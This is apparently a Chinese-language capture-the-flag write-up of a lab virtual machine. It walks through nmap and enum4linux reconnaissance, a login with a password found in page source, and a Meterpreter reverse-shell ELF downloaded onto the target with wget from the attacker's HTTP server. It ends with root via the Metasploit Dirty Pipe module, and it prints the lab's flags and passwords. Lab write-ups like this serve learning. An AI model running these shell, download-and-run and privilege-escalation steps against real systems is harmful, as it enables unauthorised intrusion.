测试环境
靶机描述见下方图片
靶机ip: 192.168.242.230
攻击机ip:192.168.188.146
开始
扫描ip
nmap -Pn -O -sV 192.168.242.230发现80，139，445，10000，20000，端口
80端口网页检查源代码发现

.2uqPEfj3D<P'a-3判断这可能是个密码，拿到10000,20000端口的web发现需要用户名，尝试常用的用户名均无果，
使用enum4linux工具枚举用户名
enum4linux 192.168.242.230要输入密码的时候输入
.2uqPEfj3D<P'a-3
得到用户名cyber
使用用户名cyber密码.2uqPEfj3D<P'a-3去20000的web服务登陆
左下角有个模拟终端，可以直接执行命令，但是权限不是root所以需要进行提权，这里为了方便使用msf
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=攻击机ip LPORT=反弹端口 -f elf -o shell.elf使用http服务传输shell.elf
python3 -m http.server 8888在网页的虚拟终端执行
wget http://攻击机ip:端口/shell.elf chmod +x shell.elf在攻击机开启监听
msfconsole use exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp set LHOST 192.168.188.146 set LPORT 3333 run #在web网页的终端执行 ./shell.elf成功建立会话，现在开始提权，

# Name Potentially Vulnerable? Check Result - ---- ----------------------- ------------ 1 exploit/linux/local/cve_2022_0847_dirtypipe Yes The target appears to be vulnerable. Linux kernel version found: 5.10.0 2 exploit/linux/local/cve_2022_0995_watch_queue Yes The target appears to be vulnerable. Kernel version 5.10.0 appears to be vulnerable 3 exploit/linux/local/glibc_tunables_priv_esc Yes The target appears to be vulnerable. The glibc version (2.31-13+deb11u2) found on the target appears to be vulnerable 4 exploit/linux/local/netfilter_nft_set_elem_init_privesc Yes The target appears to be vulnerable. The kernel 5 appears to be vulnerable, but no offsets are available for this version 5 exploit/linux/local/netfilter_priv_esc_ipv4 Yes The target appears to be vulnerable. Target appears to be vulnerable 6 exploit/linux/local/su_login Yes The target appears to be vulnerable. Target appears to be vulnerable 7 exploit/linux/persistence/bash_profile Yes The service is running, but could not be validated. Bash profile exists and is writable: /home/cyber/.bashrc 8 exploit/linux/persistence/init_systemd Yes The target appears to be vulnerable. /tmp/ is writable and system is systemd based 9 exploit/multi/persistence/cron Yes The target appears to be vulnerable. Cron timing is valid, no cron.deny entries found使用第一个模块cve_2022_0847
use exploit/linux/local/cve_2022_0847_dirtypipe set SESSION 1 set LHOST 192.168.188.146 set LPORT 7777 run成功提权至root，两个flag分别在/home/cyber和/root
3mp!r3{You_Manage_To_Break_To_My_Secure_Access} 3mp!r3{You_Manage_To_BreakOut_From_My_System_Congratulation}总结
这个机器网上说的是用普通用户目录下的tar去读取/var/backups/下的.old_pass.bak文件，读取出来的值是Ts&4&YurgtRX(=~h网上说可以用来登陆root用户，但是我尝试之后发现没有，于是使用msf扫描，最后提权的，有疑问的可以留言
